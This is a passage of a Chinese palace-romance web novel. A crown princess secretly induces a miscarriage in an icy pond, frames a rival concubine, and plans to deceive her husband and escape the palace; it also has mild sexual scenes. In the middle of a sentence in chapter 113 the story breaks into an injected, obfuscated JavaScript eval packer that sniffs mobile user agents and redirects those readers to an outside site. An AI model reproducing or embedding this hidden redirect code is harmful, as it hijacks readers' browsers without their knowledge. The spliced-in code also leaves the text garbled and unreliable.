江箐珂在莲池边驻足,讥笑道:“你以为就只有你聪明,会耍心机,会用阴谋吗?” “很多人都会,我也会,只是不稀罕用罢了。” “但今天,本宫想跟你耍一把心机。” 穆汐高仰着下颌看着江箐珂,清冷傲气的眼神中溢出几分疑惑来,似乎完全摸不清她接下来要做什么。 江箐珂弯唇笑得得意。 回身看了眼一丈外的花容,再回过头时,便自己一步步走进了冰水交融的莲池中。 冰水瞬间打透衣衫,刺骨的寒冷激得人倒抽一口冷气。 莲花池没多深,冰水刚好漫过腰身。 江箐珂用力憋了一口气,将整个身子都泡进了池水里。 头发被冰水浸湿,水珠顺颊一滴滴滑落,明明冻得浑身瑟瑟发抖,牙齿都开始在打架,她却站在池水一动不动地看着穆汐笑。 穆汐目瞪口呆地看着她,后知后觉地意识到江箐珂这是要做什么。 花容大惊失色,立马跳进池水里,欲要将江箐珂从池水中拖到岸上。 “太子妃,你有孕在身,这样会小产的。” () 第109章 是我不好 喜晴拿着兔毛风领赶回来时,江箐珂尚泡在冰冷的池水中,与花容推搡拉扯着。 而穆汐则站在池岸上怔愣旁观。 这场面落在任何人的眼里,或多或少都会误会。 “快来人,太子妃被人推下水了。” 喜晴尖声高喊的同时,朝江箐珂飞奔而来。 她想都不想,就跳入冰冷的池水里,趟着冰渣渣,冲到花容的身后,然后一把抓住她的头发,将人往池水里按。 “趁我不在,竟然敢欺负我家太子妃。” “你主子揍不得,你我还收拾不得了?” 花容也反手抓挠着喜晴。 可无奈力气没喜晴大,花容又被池水冰得喘不过气来,一声声“不是我”便都被淹进了池水里。 莲池这边的动静闹得大,引来在后花园里做事的几名太监和巡防侍卫。 瞧见是太子妃落了水,有人立马赶去禀报。 在喜晴和一名小太监的搀扶下,江箐珂脚步虚浮地从池水中走上来 她身体冒着寒气,浑身上下都抖得厉害。 水淋淋地走了没几步,李玄尧和穆珩带着曹公公等人迎面赶来。 李玄尧似乎来得急,身上仅穿了一件单薄的衣袍,连件防风的斗篷都没披。 而那个狐狸面具也戴得匆忙,弄得他半披半束的长发有几缕支楞巴翘的。 江箐珂驻足不走了。 她在原地蜷缩蹲下,眼巴巴地等着李玄尧来。 待他冲至自己面前时,她仰起冻得惨白的小脸,睁着一双黑白分明的大眼睛,无辜又可怜兮兮地看他。 唇瓣跟着牙齿打颤,她冷得连说出的话都是断断续续的。 “夜颜,我好冷,池水......好冰......好冰啊。” “我可能......要被冻死了。” 顾不得什么礼数和体统,李玄尧当着东宫众人的面儿,脱下衣袍,紧紧披裹在江箐珂的身上。 然后,将她人拦腰抱起,大步朝着凤鸾轩而去。 穆珩狠狠瞪了穆汐一眼后,大步紧跟其后。 凤鸾轩的寝殿,不知要比往日热闹多少。 穆珩等人隔着屏风提心吊胆,李玄尧则抱着江箐珂坐在矮榻前烤着炭火,毫不在意自己的里衣早已被浸得湿濡濡的。 他将那冰冷的双手塞到衣怀里,却捂不热她冒着寒气的身子。 衣袖拂去她脸上冰冷的水,却擦不干那滴水的发。 大手快速搓弄着她的肩背、手臂,面颊贴着面颊,想将体温都传递给怀里瑟瑟发抖的她。 江箐珂则乖乖地窝在李玄尧的怀里,任由他摆弄。 她微微咬着唇,强忍着腹部突然传来的阵阵绞痛,一声也不吭。 这孩子,江箐珂就是不想要。 无须下令吩咐,多年的主仆默契使然,该做什么,曹公公心里清楚得很。 就像热锅上的蚂蚁,曹公公急得在殿内殿外来回团团转。 手捧拂尘,拖着那尖细的嗓音,他急中有序地指挥着凤鸾轩的太监和宫婢们。 “还愣着做什么,赶快去请太医啊,越快越好。” “你们几个赶快去烧几锅水来,给太子妃泡澡暖身子。” “这殿里炭火不够旺,快,再去端几个炭火盆来。” “汤婆子也准备着。” “喜晴姑娘还看什么呢,还不快去给太子妃拿身干爽的衣服来。” 喜晴微微摇着头,目光定在江箐珂的衣裙上,一双杏眸瞳孔逐渐放大。 “太子妃......她......” 她语带哭腔,无措地看了看曹公公,又望向江箐珂,指向那处不断向四周晕开的几圈红。 “血,太子妃在流血。” 江箐珂低头看去。 冷白修长的手朝着一处殷红缓缓伸去,轻轻一蹭,颤抖的指尖便沾染了刺目的红。 李玄尧怔怔然地看着自己的手,整个人似乎都凝滞在那一瞬。 “太医,太医怎么还不来?” “谷丰快去催催,不行就把太医扛着跑过来。” 曹公公大声惊骇,引得穆汐和穆珩等人绕过屏风而来。 喜晴怒目看向穆汐。 “穆良媛,我家太子妃与你何怨何仇,为何要将她推下那么冰的池水里?” “难道你不知道太子妃有孕在身?” 穆汐拧眉摇头。 见李玄尧未瞧她一眼,便同穆珩和曹公公手语解释。 【不是我,是她自己走下去的。】 【兄长,你信我,真的是她自己下去的,我没有推她。】 穆珩看着穆汐,神色是半信半疑。 一旁的花容站出,急声为穆汐辩白。 “殿下,大公子,奴婢可以作证,真的是太子妃自己下的水。” “事发突然,奴婢和良媛也是被吓到了,才没有及时制止,而奴婢......” 不等花容把话说完,喜晴当即狠狠抡了一巴掌过去。 “胡说八道。” “我家太子妃不习水性,最是怕水,怎会自己往池子里跳。” “更何况,是那么冰的池水。” 说着说着,喜晴情绪激动,没忍住哭了起来。 “太子妃有孕在身,年前动了的胎气堪堪刚养好,结果被你们推到那么冰的池子里......” “良媛定是嫉妒太子妃。” “自己不能生,便也看不得别人生。” 目光刺向穆汐,喜晴的那双眼睛看她时,恨不得要把人给手撕了似的。 “就是穆良媛趁奴婢给太子妃回来取风领时,以多欺少,把太子妃推入池水里的。" 双膝跪地,喜晴同李玄尧请罪。 “太子殿下,奴婢有罪。” “奴婢不该留下太子妃一个人,让穆良媛有可乘之机,谋害皇嗣。” “奴婢该死,愿意受罚。” 睫羽缓缓扇动了一下,李玄尧似是回过神来。 他缓缓抬眸,与江箐珂对视。 好似来不及发火动怒,又好似来不及去追究事情的前因后果,他的异色目光始终在江箐珂的身上,平静得反常。 一侧深邃如暗夜,情绪难辨,却犀利如鹰。 一侧幽深如泓水,让人看不透他的所思所想。 喉结上下滚了滚,两抹淡红随即漫上他的眼尾。 悲伤在他眼底凝聚化成水,顺着眼角滑落,带着几许哀怨砸在江箐珂的面颊上。 江箐珂凝视着他,发现他连难过悲伤都是两种颜色。 心头一下下地抽痛,愧意如潮翻涌。 视线偏躲,江箐珂将脸埋进李玄尧的怀里,冰冷的手藏在里衣下,紧紧环抱住他的身躯。 她小声哭道:“夜颜,对不起,是我不好,是我不小心。” () 第110章 真相不重要 太医来了七八个,也没能保住江箐珂肚子里的孩子。 凤鸾轩上下忙活了大半日,江箐珂这才干干爽爽地躺下。 冰池小产,再皮实的人也是受不住。 被窝里暖融融的,慰藉着疲惫且虚弱的身心。 江箐珂头刚挨到枕头,就攥着李玄尧的大拇指沉沉睡着了。 目光落在那只手上,四指轻动,李玄尧若有所思地摩挲她的手背,有一下没一下的,心思沉得连周身的空气都好像有了重量,压得曹公公和喜晴都不敢大喘气。 见江箐珂睡着了,曹公公躬着身子,行至榻前,将声音压得极低。 “殿下。” “太子妃小产一事已经传到了养心殿,皇上刚刚命人来传话,说让太子殿下过去一趟。” “另外,穆家兄妹也还在殿外候着。” “穆良媛是要亲自跟殿下解释,穆大公子估计是想替穆良媛求情。” 思绪收敛,李玄尧慢慢从那紧攥的手中抽出拇指,然后把江箐珂的手塞进了被子里。 起身来到殿外,穆汐最先迎上前来。 [你信我,这次真的不是我。] 穆汐一遍遍手语解释,努力为自己辩白。 [是她找我一起去的后花园,又是她自己走下去的。] [她是故意的。] 高大的身躯笔挺直立,李玄尧异瞳垂视,目光沉沉地瞧着穆汐。 水蓝色的瞳眼仿若冰封万里的湖水,森寒无情,冷漠至极,根本不见昔日在穆府相处时的半点兄妹情谊。 穆珩也挪步上前,为穆汐说话。 “太子妃落水之事,确有不合理之处。” “身手极佳的人怎会轻易被推下水。” “不如,命谷丰他们把后花园里做事的宫人都叫来,仔细问问再断定也不迟。” 穆汐拽着李玄尧的衣袖,泪眼婆娑地渴求着他的信任。 李玄尧面色无变,慢悠悠地拨开穆汐的手,手语给了兄妹二人回复。 【真相不重要。】 【重要的是......】 目光扫过穆珩,最后落在穆汐的脸上。 平静沉冷的眼底溢出几许厌恶,李玄尧的每一个手势,都倾注了他的所有情绪。 【日后每每看到你,我和她,都会想起我们第一个孩子。】 ...... 养心殿内。 衡帝撑着病躯坐在龙榻上,与李玄尧问起今日的事。 “真是穆汐将太子妃推下池的?” 李玄尧脸上闪过一瞬犹豫,可到最后还是点了点头。 衡帝咳嗽了几声后,面色哀戚虚叹。 “可惜了,朕走前,是彻底无望看眼你的孩子了。” 李玄尧垂眸,借着睫羽来遮掩涌上来的泪意。 浑浊无力的眉眼紧蹙,衡帝替李玄尧忧心为难起来。 “你登基之日就要定下了,眼下正是你借穆元雄之势,稳权固位之时,这穆家......万万不能得罪。" “朝中许多文臣皆出自穆元雄门下,当初朕立你为太子,亦有他们进谏拥护之功。” “若因太子妃与穆家鱼死网破,凭穆元雄知晓的秘密,到时不知是何等难以收拾的场面。" “朕认为,此事你万万不可感情用事。” “太子妃的公道要给,但穆家也不能得罪。” 衡帝叹了口气,气息不平道:“此事,就交由朕来处理。” “另外,太子妃被害小产一事,安排人传出去,最好让京城上下都知道。” “善妒成性,谋害皇嗣,德行有亏,这罪名扣在穆良媛的头上,以后穆家再想替她争夺后位,都得费一番功夫。” 李玄尧提笔回复。 【儿臣谨遵父皇之意。】 见衡帝喘得厉害,他立马端来一盏温水,一边轻拍衡帝的背,替他顺着气,一边小心翼翼地喂衡帝喝水。 衡帝缓了片刻,仍是不放心地叮嘱。 “穆家虽于你有恩,可从现在开始,你也不得不多加提防。” “尤其是穆元雄。” “人心不足蛇吞象,权势面前,没几个人能抵挡住诱惑。” “穆珩当你当久了,也保不齐会生出别的心思。” “异瞳之事,朕已提前铺垫妥当。” “但你的嗓子若一直治不好,到时只能利用江家的军力,强权坐稳帝位。” 李玄尧颔首,将写好的册子递给衡帝看。 【儿臣定不负父皇所望。】 【纵使一辈子都是个哑人,也不会让害我之人得逞。】 【哑人又如何,到时儿臣便向天下证明,不能说话的君王也照样可以治国理国,当个以民为本的君王。】 …… 江箐珂醒来时,殿内仅剩喜晴一人。 许是她烧得厉害,出了好多的汗,喜晴一直拿着帕子坐在榻边给她擦。 见她口渴,喜晴起身去倒水。 江箐珂哑声问道:“他呢?” “殿下被皇上传去了养心殿,估摸着,就是因为太子妃小产的事。” “也不知会如何处置穆良媛?” 喜晴端水过来,本要用勺子一口口喂的。 可江箐珂这人随性惯了,受不了如此矫情的喝水方式,推开勺子,自己接过茶盏,咕嘟咕嘟一口气全闷了下去。 喜晴抿嘴看着江箐珂,憋了半晌,忍不住开口问。 “太子妃真是好狠的心,那么冰的水都敢往里跳。” “跳的时候,就没舍不得那孩子吗?” 江箐珂扯唇强笑。 “不然呢,留下孩子,带着一起跑?” “有什么不能带着一起跑的,有我和大公子照顾你,太子妃何必顾虑那么多?”喜晴不解,噘嘴惋惜道。 “夜颜有句话说得很对,无情有时也是一种善意。” “我既然要逃出这火坑,便该断得干净,走得毫无牵绊。” 拖着倦容躺下,江箐珂枕着双手,闭眼在那里继续喃喃。 “就算留着这孩子,出了宫,路途颠簸,会遇到什么情况,谁又能预料?” “难道大着个肚子,骑着红枣,天涯海角地跑吗?” “说不定路上,这孩子就颠没了。” “到时不还得寻个落脚的地方养身子?” “就算有幸将孩子生下来,未被夜颜找到,那日后这便是个没有父亲的孩子,若是被李家人发现带回宫,那时又早养出了母子情谊,我又怎能舍得掉?” “既然不能给这孩子安稳美满,我宁可不让他来到世上。” “这无情的善意,是给孩子的。” 脑子烧得浑浑噩噩的,江箐珂含糊地说完这些话后,便又沉沉地昏睡过去。 也不知睡了多久,再睁眼时,便见李玄尧躺在她的身侧,正红着眼瞧她。 江箐珂睡眼惺忪地与他对视了片刻,立马像个犯错求原谅的猫咪一样,钻到李玄尧怀里,用额头在他胸前蹭啊蹭啊的。 “夜颜,你别难过了。” “我们努努力,以后还会再有孩子的。” () 第111章 我们好好的 身前的人一动不动,没有任何回应。 若在平时,不等江箐珂投怀送抱,李玄尧早已揽着她的腰,主动将人往怀里按了。 可此时,他一只手压在头底,一只手自然垂放在身前,硌硌楞楞地挤在两人身体间,完全没有动的意思。 帐内空气冷凝静默,氛围沉闷异常。 李玄尧的胸怀是暖的,可态度却是冰冷的。 江箐珂知道,他一定是在怪她。 他那个心眼子,什么猫腻看不出来。 在玩弄权术的人面前,她的那点手段,根本上不得台面。 不过这样也好。 李玄尧怪她、怨她、讨厌她,等她逃离这会吃人的宫里时,他才不会太难过,自己的愧疚和不舍也会少一些。 仰头看了看他,身子后挪,江箐珂又躺回原处,与李玄尧拉开了距离。 而李玄尧仍无任何反应。 手还是一动不动,湿红的眼也仍一瞬不瞬地瞧着江箐珂。 那眼中的哀怨如同有了实质,化成丝丝缕缕,像藤蔓植物的触须,一点点延伸过来,穿透江箐珂的胸口,缠绕心房,勒得她的心开始隐隐作痛。 一滴泪顺着李玄尧的眼角流出,滑过鼻梁,又流进那片水蓝色的湖水中。 泪满则溢,又顺着另一侧眼角流出,滴落在枕边。 他虽是个哑巴,可此时的悲伤和愤怒,却是震耳欲聋。 江箐珂揪着衣袖,忍不住想给他擦擦眼泪,可伸过去的手又被李玄尧抬手拨开。 手从头下抽出,他侧卧在那里,手语比划。 【为什么?】 【那是我们的孩子,你怎么忍心的?】 江箐珂撑身坐起,气息虚弱且有些无力地反问他。 “那我问你,在你的计划里,未来可有立穆汐为后的打算?” “你只要回答有还是没有。” 李玄尧跟着起身,目光冷冽且锐利地回视着,十分坦诚地点了点头。 江箐珂又问:“你可还答应过穆家,定会过继个皇子到穆汐的名下?” 眸光微动,一丝疑惑从李玄尧眼底划过,很显然他很诧异江青珂为何知晓这些事。 但他还是坦诚地点了点头。 酸涩涌上鼻腔,激红了双眼。 江箐珂忍着泪,笑着质问。 “所以,我们的孩子还没出生,便已成为你用来报恩固权的棋子?” “皇后当不当无所谓,可凭什么,我若是生个皇子,就要把孩子交给别人养?” “那与其这样,我不如不生。” 李玄尧掏出炭笔和册子,匆匆数笔。 【那只是不得已时的选择而已。】 【我定会想办法,不让那种事发生。】 江箐珂仰面苦笑了一声。 “那若是想不到办法呢?” 眉间蹙着怒意,她一字一句地质问。 “情况所迫,你难道就要让我和孩子,为了你隐忍负重,委屈巴巴地活着?” “那西延五十万江家军都不够你图的?” 江箐珂红着眼摇头。 “如果我不喜欢你,当你在利益和我之间,权衡利弊选利益,我不仅不会怨你,还会理解你。” “可你是夜颜啊。” “即使是你一时的假意舍弃,可对我来说,都无异于往心口上插刀子。” 江箐珂抽了抽鼻子,擦去不争气的泪水。 她移开视线,倔强地偏头看向别处。 “总之,在你坐稳帝位前,孩子我是不会生的。” “你若非要给穆汐一个皇子,你们自己想办法去,别想打我肚子的主意。” 转身躺下,江箐珂气呼呼蒙上了被子。 不多时,身后的床褥微微凹陷,李玄尧重新躺下,并从后背抱了过来。 被子扯开,他将写好字的册子凑到江箐珂的眼前。 【还疼吗?】 这一看,江箐珂登时就没憋住,泪水哗地就流了出来。 她瓮声瓮气地“嗯”了一声,转身钻进李玄尧的怀里, 然后哽声道:“哪儿哪儿都疼,心最疼。” 剩下的日子里,江箐珂不想跟李玄尧吵架。 她唇角噙着泪水,仰面去亲他的下巴,然后软声道:“我们好好的,谁也不生谁的气了,好吗?” 李玄尧红着眼,与她额头顶着额头,然后在她的后背写了个“好”字。 ...... 江箐珂小产的第二日,衡帝的口谕便传到了芍菡轩。 喜晴出去打听了一番后,回来同江箐珂抱怨。 “再怎么说,对外也是穆良媛害得太子妃小产吧。” “这谋害皇嗣的大罪,皇上未免也太轻拿轻判了些。” “棍刑也没罚一下,位份也没降一阶,只罚穆良媛去皇家佛寺吃斋念佛住上一年,让她在那里抄经,为太子妃流掉的孩子祈福。” 喜晴气得失笑,摔摔打打地叠着浣洗局那边送来的衣裳。 “若真是穆良媛害的太子妃小产,这惩罚,奴婢都要气得想杀人。” “果然,连皇上都是偏袒穆家的。” “等殿下登基后,还不知要怎么被穆家拿捏呢。” 江箐珂随手翻着手里的兵书,没搭理喜晴这一茬。 对穆汐的轻罚,在她的意料之中。 眼下,正是李玄尧需要用穆家之时,看在穆元雄的面子上,无论是衡帝,还是李玄尧,都不可能对穆汐行过重的惩罚,以免寒了穆元雄的心。 但罚穆汐去佛寺一年,说短也不短了。 一年的时间,足够很可能发生。 忧伤消沉了数日后,江箐珂仍像以前一样,同李玄尧相处。 她会撒娇,会笑,会发脾气,会拿鞭子吓唬人,也还会像以前一样蛮横不讲道理…… 江箐珂时刻都在演。 演她离不开李玄尧,整日都想粘着他,演她会长长久久地留在宫里...... 因为,穆珩曾告诉过她,这宫里到处都是眼睛。 有李玄尧的眼睛,有惠贵妃的眼睛,有很多很多人的眼睛。 要想顺利逃离着这泥沼,就要藏起情绪,藏起心思,装模作样,花言巧语,然后完美地骗过每个人,让他们都彻底对她放下戒心来。 她演得如此自然随意,连江箐珂自己都惊讶到了。 原来喜怒不形于色和深藏不露,她也可以做到如此游刃有余。 原来撒谎骗人,她也可以做得如此心安理得。 终于,她活成了自己以前最不屑的样子。 江箐珂觉得这宫里就像布纺里的大染缸,会把人都染成一个色调。 黑色。 黑色里有白色,有红色,有灰色,也有蓝色...... 面对不同的人,便会显露出不同的颜色来。 就比如现在,江箐珂显露的是白色。 她纯情天真的女子,在李玄尧踏着夜色来到凤鸾轩时,立马起身,跑步迎上去,一下子冲他个满怀。 扬起面颊,她佯怒嘟囔道:“夜颜,你怎么才来,我等你都要等得睡着了。” () 第112章 食客 李玄尧毫不费力地捞腿将人抱起,往矮榻的方向走。 江箐珂就像个挂件似的,双手环在他的肩颈上,头探到斗篷的帽檐下,小鸡啄米般地亲了李玄尧好几下。 褪去一身冷冽狠戾,将所有的算计都关在殿外,李玄尧回归温文尔雅的夫君,唇角勾着笑,眼里孕着万千柔情。 浅尝辄止的几下啄吻显然不够尽兴。 他俯首讨要香唇,江箐珂却调皮地仰头躲开。 两人相视而笑,一个笑狡黠得意,一个笑得玩味而宠溺。 殿内的烛火都在此刻因他二人而暗淡了几分。 李玄尧在矮榻上落座,江箐珂仍赖在他身上不动。 亲手替他解掉斗篷,又取下束发的金冠。 青丝如瀑散落,李玄尧登时便换了种气场。 拿出那根黑檀簪子,江箐珂随意地替他将一半的长发束起。 清儒俊雅,掷果风标。 江箐珂歪头打量,忍不住叹道:“你要是生成女子,去青楼当个花魁什么的,生意肯定特别好。” 李玄尧哭笑不得。 可惜想言而不能语,只能任由江箐珂在嘴皮子上占他便宜。 “洗过了吗?” 江箐珂揽着他的脖子问。 李玄尧摇头。 “我也没洗,要不要一起?” 李玄尧当即抱着江箐珂起身,用行动回答。 水汽缭绕,缱绻悱恻氤氲其中。 未着片缕的两个人亲密无间地相依在池水里,江箐珂仰起挂着水珠的芙蓉面,像个小妖精似的,凑到他耳畔,低声喃喃诱惑。 “夜颜,我今天偷偷翻了本春欢图。” “上面有个玩法,很是特别。” “你想不想?” 眼尾绯红,异瞳里情欲翻涌,李玄尧手抚江箐珂的脸,醉眼迷离地点了下头。 “不许反悔哦。” 江箐珂红唇一弯,拉着李玄尧起身离开了浴池。 擦去身上的水气,两人各自披着一件睡袍。 束腰的布帛长长两条,刚好将李玄尧的双手紧绑在美人榻的扶栏上。 粉嫩白皙的柔荑在胸前一路向下勾着圈,江箐珂咬着他的耳朵,低声细语道:“今晚,你是鱼肉,我是刀俎。” ...... 事后,江箐珂汗濡濡地在李玄尧身侧躺下。 她气息紊乱地问:“喜欢吗?” 李玄尧似是仍沉浸在适才的愉悦中无法自拔。 粗臂且青筋凸起的手臂挡在双眼上,喉结一滚再滚,他红唇微启,在极力平缓着呼吸和心跳。 见他没有反应,江箐珂便问:“不喜欢?” 李玄尧摇头。 “不喜欢?” 江箐珂炸了,腾地坐起来,抬手擦了擦额头的汗,高声凶道:“我都快累成狗了,你说你不喜欢?” 手臂移开,一双异瞳噙着春水看向江箐珂,而眼尾的两抹绯红比事前还要深。 李玄尧牵起她的手。 摇头,无声启唇。 慢慢道了三个字:很,喜,欢。 “这还差不多。” 江箐珂重新躺下,窝在李玄尧的臂弯里,又问:“那下次还这么玩儿,好不好?” 李玄尧侧身强势吻下来,用唇中吐出的气息告诉江箐珂:好。 ...... 衡帝禅位,新皇登基的吉日定下了。 将于三月后举行。 避凶,顺干支。 钦天监定的吉日是“岁君合日”,乃当年太岁与日干支相合,寓意“得岁之助”,非常吉祥。 相应的,李玄尧和穆珩两人最近都更忙了。 江箐珂时常要等到子时,才能等到李玄尧回来。 登基在即,又正值每年宫选之时。 李玄尧今夜回到凤鸾轩后,一直在观察江箐珂的脸色,似乎有话要说。 “有话就说,老看着我做什么?” 江箐珂半眯着眼,目光犀利地审视着他。 李玄尧犹豫了片刻,掏出了炭笔和折册子。 写完后,他就眼巴巴地看着江箐珂,将折册子递给了她。 【登基在即,须广纳朝臣之心。先生劝我,将刑部尚书嫡次女与枢密使庶女一并纳入东宫。】 【父皇亦是此意。】 又要纳两个? 江箐珂看后,心里不是滋味,可脸上却装出无所谓的样子。 “那就纳呗。” 她往藤椅里一窝,脚尖轻点,带着身子前前后后地晃悠。 “你马上就要当大周的皇帝了,这以后三宫四妾不正常得很。” “早纳晚纳都是纳,不用看我眼色。” “但是......” 江箐珂侧眸,眼神朝李玄尧刺过去。 “不准跟她们同房。” 在她还没离开前。 但这句话,江箐珂自是藏在了心里。 李玄尧仍不放心,目光不信地看着江箐珂,手语问她。 【你不生气?】 “生气你就不纳了?”江箐珂反驳。 李玄尧愧疚垂眸。 “看吧。”江箐珂撇嘴嫌弃,“你都多余问我。” 【对不起。】 江箐珂默了默,压下漫至喉间的酸涩,倏然莞尔。 “没关系,我理解。” “当皇帝哪那么容易,更何况你还是个异瞳哑巴。” 氛围变得有些沉闷,江箐珂立马换了个话题。 “惠贵妃和十皇子那边,就没什么动静吗?” 李玄尧点头。 掏出炭笔和折册子。 【可越安静便越有问题。】 【已经派人盯着十皇子和惠贵妃那边了。】 【惠贵妃母家势衰力竭,纵有心勾连朝中余党作乱,恐亦难成气候。】 【但还是要多加提防得好。】 江箐珂点头认同。 “的确,还是要防着点儿好。” “还有淑妃和十一皇子。” “不过,他们对你威胁应不大。” “尤其是十一皇子,听江青瑶和张氏说,是个胸无大志的。” “而淑妃在宫里,处处与人为善,在惠贵妃面前也甚会做小伏低,看起来不是个爱争爱抢的性子,加上母家家道中落,就算有什么心思,也是心有余力不足。” 李玄尧不置可否。 起身走到江箐珂身前,按住了前后晃动的摇椅,然后将人从椅子里捞起,直接扛去了侧殿的浴池。 两条束腰帛带,今夜却换了捆绑的对象。 江箐珂反抗拒绝,可无奈力气不如李玄尧的大,只能乖乖就范。 好看的异瞳噙着两色的风流,李玄尧将册子递给挣扎怒斥的江箐珂看,而唇角则勾着精怪般的邪魅。 【今晚,你为鱼肉,我为食客。】 () 第113章 我也是 衡帝的圣旨一下,刑部尚书的嫡次女与枢密使的庶女就被抬进了东宫。 一个封为了良娣,一个封为了才人。 至于姓甚名何,两人都来请了三四次的安,江箐珂还是没记住。 只记得长得肉嘟嘟的是良娣,长得瘦瘦小小的是才人。 虽然人不可貌相,可乍看两人时,江箐珂还是同情了李玄尧一下下。 原来,后宫佳丽也未必都是闭月羞花之色。 可这良媛和才人刚进来没几日,穆大人又选了个户部侍郎的女儿,让李玄尧纳进东宫,封为了太子侧妃。 江箐珂照样还是没记住她姓甚名何。 但比起先前的两位新人,这位太子妃倒是貌美很多。 不仅长相明艳妩媚,身材更是婀娜曼妙。 那不堪盈握的小细腰,还有傲人的胸脯和翘臀。 江箐珂乍看第一眼时,差点替李玄尧流鼻血。 这脚还没进殿呢,胸就先进来了。 她低头看了看自己的,又扭头看了看后面,再捏了捏自己的腰...... 比不起,比不起。 李玄尧的后宫终于来了位人间尤物。 本还开心穆汐以后终于遇到劲敌了,可几日观察下来,发现这位侧妃竟是有胸无脑的笨蛋美人,还不如她呢。 不得不说,穆大人是个会选人的。 眼下的东宫,可比江箐珂刚来时热闹多了。 李玄尧的女人越来越多,她离开的决心也越来越坚定。 温水煮青蛙,火候到了,是时候准备离开了。 但这么大的事,江箐珂得先同江止商量一番。 可自她小产后,李玄尧都不准她出宫,连出宫的令牌都被曹公公收走了。 虽说可以送信出宫给江止,可经历过这么多事,江箐珂已不敢再相信宫里的任何人。 话她得当面跟江止说,信她也得直接给。 不同于儿时的离家出走,若想顺利逃离京城,她和江止得慢慢筹划。 否则,失败一次,信任的壁垒一旦被打破,就再难获得李玄尧的信任。 机会只有一次,必须要万无一失。 是日。 早膳过后,李玄尧赶着要去勤政殿处理朝政。 江箐珂打发走曹公公,特别殷勤地为他梳发、束发,还狗哈哈地服侍他穿衣。 水蓝色的眸眼半眯,李玄尧歪头觑着她,目光玩味。 【为何对我这么好?】 江箐珂的手语也学得七七八八了。 简单的手势,基本都能看得懂。 双手绕到李玄尧的身后,替他系着腰带。 江箐珂咂舌嗔怪:“这话说的,我何时对你不好了?” 【伺候人的事,你以前都不做。】 李玄尧目光沉沉地看着江箐珂,虽噙着笑,可一双眼睛锐利如鹰,仿若能看透人心。 【说吧,想要什么?】 红唇贝齿,江箐珂仰头笑得明媚。 “我想出宫玩儿,想去见阿兄。” 笑意收敛,李玄尧当即垂下眸子,整理护袖。 严肃沉冷的神情显然是不同意。 见状,江箐珂撇嘴不悦。 “如今,我这身子都养得差不多了,在宫里也憋了大半个月,让我出去透透气怎么了?” 李玄尧掀起眼皮,仍是摇头不准。 江箐珂恼了,扬声质问:“为什么?” 双眼岑寂如潭,倒映着江箐珂清丽的身姿。 李玄尧一瞬不瞬地瞧了她半晌,面带忧伤地手语比划。 【怕你出去,就不再回来。】 江箐珂心里咯噔一下。 心想她这锅水怎么还没把这只青蛙给煮迷糊? 京城的鸡贼,果然不好骗。 可她还是面不改色心不跳,眉头紧拧,表现出一脸莫名其妙的样子。 “乱说。” 江箐珂抱着李玄尧劲瘦的腰身,贴在他身上撒娇。 “我可舍不得你。” “你不在,我现在夜里都睡不着觉。” “每天看不到你,心里也总觉得空落落的。” “要是几日见不到你,我肯定会哭死的。” 李玄尧唇角上扬,无声做了个口型:我也是。 本来是甜甜的一句话,现在却像是根绵长的针,刺在江箐珂的心嘶拉拉地疼。 可不走,以后还会有比这更让她心痛的事。 “那你就舍得让我在宫里闷闷不乐?” 江箐珂踮起脚,亲了李玄尧一下,继续央求着。 “让我出宫玩儿,好不好?” “你要是不答应,我就恃宠而骄,一直抱着你亲,亲到你同意为止。” 话落,江箐珂就蹿跳到李玄尧的身上。 双腿紧紧勾挂在他腰上,抱着他的脖子,小鸡啄米似地在他脸上一顿乱亲,那架势似乎要把李玄尧的脸给亲烂了。 早上洗干净的脸,现在全是江箐珂的口脂印和口水。 李玄尧起初是享受,可渐渐也有点招架不住。 本想绷紧的严肃,在没有停歇的亲吻下,被击得溃不成军。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16110716|175914||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑意占据上风,李玄尧轻柔回吻,终于点头应了。 【早去早回。】 江箐珂用力点头。 “一定。” …… 侨装出宫后,江箐珂寻江止吃了顿饭。 饭还是在那家老板娘的酒楼里吃的,坐的位置也是惯常坐的桌椅。 喜晴按照江箐珂事先叮嘱的,拉着谷丰等人去旁桌点了酒菜。 隔桌有耳,江箐珂跟江止也只能聊些有的没的。 江止浓眉紧蹙,睨着江箐珂,脸上透着几许愠怒,再加上下巴上的那道疤,看起来凶巴巴的。 “身子好点了?” “有宫里的太医和最好的药材调养,早养好了。” 江止气道:“一个大活人,还能被人推到池子里,功夫你丫的都白学了?” “轻敌了呗。” 江箐珂漫不经心地答了一句:“没想到人家柔柔弱弱,力气会那么大。” 江止懒洋洋地靠坐在那里,看向楼下正厅里正在说书的先生。 “孩子没了,还能再要,你也别难过。” “更何况,阿兄也已经替你出了口恶气。” 江箐珂挑眉:“怎么出的?” “找的镖局兄弟,跑到皇家佛寺里,第一天泼了那主仆三人几桶马尿,第二天泼了几盆鸡血,第三天泼了几桶泔水。” 画面在脑子里自行浮现。 痛快确实是痛快。 可江箐珂咽了咽冲到嗓子眼里的恶心,看着盘子里的菜,登时就不想吃了。 江止没好气地调侃。 “你这点心眼子,连孩子都保不住,以后怎么在宫里活?” 狠狠瞪了江箐珂一眼,江止拿起酒壶愤愤闷了半壶。 江箐珂没心思跟他废话,回身瞧了眼谷丰那桌,指尖在一个菜盘子旁边轻轻敲点了一下。 “阿兄莫再气了,以后我注意便是。” “倒是你我兄妹二人,半月未见,就不能说点开心的?” 江止不动声色地瞥了眼那个盘子,看到了江箐珂藏在盘沿下的信笺。 江箐珂随意找了个话题继续聊着。 “咏月坊那家胡姬酒肆我还没去过呢,听说那里有几名西域来的胡姬,跳舞跳得甚好,下次我们去瞧瞧可好?” 抬眸甚是随性地扫了眼周围,见谷丰那边此时并未留意这里,江止便拿起酒壶给江箐珂倒酒。 “行啊,下次你再出宫,阿兄带你去。” 自然而然的对话间,江止顺手一划,便勾走了藏在那盘沿下的信笺。 第114章 那就睡 在酒楼里又坐了片刻,江箐珂跟着江止回了趟永乐坊的那套宅院。 